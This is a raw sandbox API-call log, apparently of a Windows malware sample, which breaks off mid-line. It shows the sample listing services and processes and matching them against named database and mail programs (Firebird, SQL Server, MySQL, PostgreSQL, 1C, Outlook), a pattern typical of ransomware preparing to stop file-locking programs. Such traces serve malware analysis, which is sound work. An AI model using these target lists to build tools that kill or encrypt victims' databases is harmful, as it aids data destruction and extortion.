[0169.544] lstrlenW (lpString="ShellHWDetection") returned 16 [0169.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0169.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0169.544] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0169.544] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0169.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0169.544] lstrlenW (lpString="Spooler") returned 7 [0169.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0169.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0169.544] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0169.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0169.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0169.544] lstrlenW (lpString="SysMain") returned 7 [0169.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0169.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0169.544] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0169.544] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0169.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0169.544] lstrlenW (lpString="Themes") returned 6 [0169.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0169.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0169.544] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0169.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0169.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0169.544] lstrlenW (lpString="TrkWks") returned 6 [0169.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0169.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0169.544] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0169.544] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0169.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0169.545] lstrlenW (lpString="UxSms") returned 5 [0169.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0169.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0169.545] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0169.545] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0169.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0169.545] lstrlenW (lpString="WdiServiceHost") returned 14 [0169.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0169.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0169.545] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0169.545] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0169.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0169.545] lstrlenW (lpString="WdiSystemHost") returned 13 [0169.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0169.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0169.545] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0169.545] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0169.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0169.545] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0169.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0169.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0169.545] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0169.545] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0169.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0169.545] lstrlenW (lpString="Winmgmt") returned 7 [0169.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0169.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0169.545] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0169.545] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0169.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0169.546] lstrlenW (lpString="WPDBusEnum") returned 10 [0169.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0169.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0169.546] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0169.546] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0169.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0169.546] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x724190 | out: hHeap=0x630000) returned 1 [0169.546] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x124 [0169.547] Process32FirstW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.548] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0169.548] lstrlenW (lpString="System") returned 6 [0169.548] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0169.548] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0169.548] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0169.548] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0169.548] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0169.548] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0169.548] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0169.548] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0169.549] lstrlenW (lpString="smss.exe") returned 8 [0169.549] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0169.549] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0169.549] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0169.549] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0169.549] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0169.549] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0169.549] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0169.549] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0169.549] lstrlenW (lpString="csrss.exe") returned 9 [0169.549] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0169.549] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0169.549] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0169.549] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0169.549] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0169.549] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0169.549] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0169.549] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0169.550] lstrlenW (lpString="wininit.exe") returned 11 [0169.550] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0169.550] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0169.550] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0169.550] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0169.550] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0169.550] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0169.550] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0169.550] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0169.550] lstrlenW (lpString="csrss.exe") returned 9 [0169.550] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0169.550] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0169.550] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0169.550] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0169.550] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0169.550] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0169.550] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0169.551] lstrlenW (lpString="winlogon.exe") returned 12 [0169.551] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0169.551] lstrlenW (lpString="services.exe") returned 12 [0169.551] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0169.551] lstrlenW (lpString="lsass.exe") returned 9 [0169.552] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0169.552] lstrlenW (lpString="lsm.exe") returned 7 [0169.552] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.552] lstrlenW (lpString="svchost.exe") returned 11 [0169.552] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.552] lstrlenW (lpString="svchost.exe") returned 11 [0169.553] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.553] lstrlenW (lpString="svchost.exe") returned 11 [0169.553] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.553] lstrlenW (lpString="svchost.exe") returned 11 [0169.553] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.553] lstrlenW (lpString="svchost.exe") returned 11 [0169.554] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0169.554] lstrlenW (lpString="audiodg.exe") returned 11 [0169.554] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.554] lstrlenW (lpString="svchost.exe") returned 11 [0169.554] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0169.555] lstrlenW (lpString="explorer.exe") returned 12 [0169.555] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0169.555] lstrlenW (lpString="dwm.exe") returned 7 [0169.555] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.555] lstrlenW (lpString="svchost.exe") returned 11 [0169.555] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0169.556] lstrlenW (lpString="n.exe") returned 5 [0169.556] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0169.556] lstrlenW (lpString="spoolsv.exe") returned 11 [0169.556] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.556] lstrlenW (lpString="svchost.exe") returned 11 [0169.556] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0169.557] lstrlenW (lpString="taskhost.exe") returned 12 [0169.557] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0169.557] lstrlenW (lpString="reader_sl.exe") returned 13 [0169.557] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0169.557] lstrlenW (lpString="n.exe") returned 5 [0169.557] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0169.558] lstrlenW (lpString="n.exe") returned 5 [0169.558] Process32NextW (in: hSnapshot=0x124, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0169.558] CloseHandle (hObject=0x124) returned 1 [0169.558] Sleep (dwMilliseconds=0x1f4) [0170.088] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69e710 [0170.088] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0170.088] GetLastError () returned 0xea [0170.088] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x724190 [0170.088] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x724190, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x724190, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0170.089] CloseServiceHandle (hSCObject=0x69e710) returned 1 [0170.089] lstrlenW (lpString="Appinfo") returned 7 [0170.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0170.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0170.089] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0170.089] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0170.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0170.089] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0170.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0170.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0170.089] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0170.089] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0170.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0170.090] lstrlenW (lpString="AudioSrv") returned 8 [0170.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0170.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0170.090] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0170.090] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0170.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0170.090] lstrlenW (lpString="BFE") returned 3 [0170.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0170.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0170.090] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0170.090] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0170.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0170.090] lstrlenW (lpString="CryptSvc") returned 8 [0170.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0170.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0170.090] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0170.090] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0170.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0170.090] lstrlenW (lpString="CscService") returned 10 [0170.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0170.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0170.090] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0170.090] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0170.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0170.090] lstrlenW (lpString="DcomLaunch") returned 10 [0170.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0170.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0170.090] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0170.091] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0170.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0170.091] lstrlenW (lpString="Dhcp") returned 4 [0170.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0170.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0170.091] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0170.091] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0170.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0170.091] lstrlenW (lpString="Dnscache") returned 8 [0170.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0170.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0170.091] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0170.091] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0170.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0170.091] lstrlenW (lpString="DPS") returned 3 [0170.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0170.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0170.091] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0170.091] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0170.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0170.091] lstrlenW (lpString="eventlog") returned 8 [0170.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0170.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0170.091] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0170.091] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0170.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0170.091] lstrlenW (lpString="EventSystem") returned 11 [0170.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0170.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0170.092] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0170.092] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0170.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0170.092] lstrlenW (lpString="gpsvc") returned 5 [0170.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0170.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0170.092] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0170.092] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0170.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0170.092] lstrlenW (lpString="iphlpsvc") returned 8 [0170.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0170.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0170.092] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0170.092] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0170.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0170.092] lstrlenW (lpString="LanmanServer") returned 12 [0170.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0170.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0170.092] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0170.092] lstrcmpiW 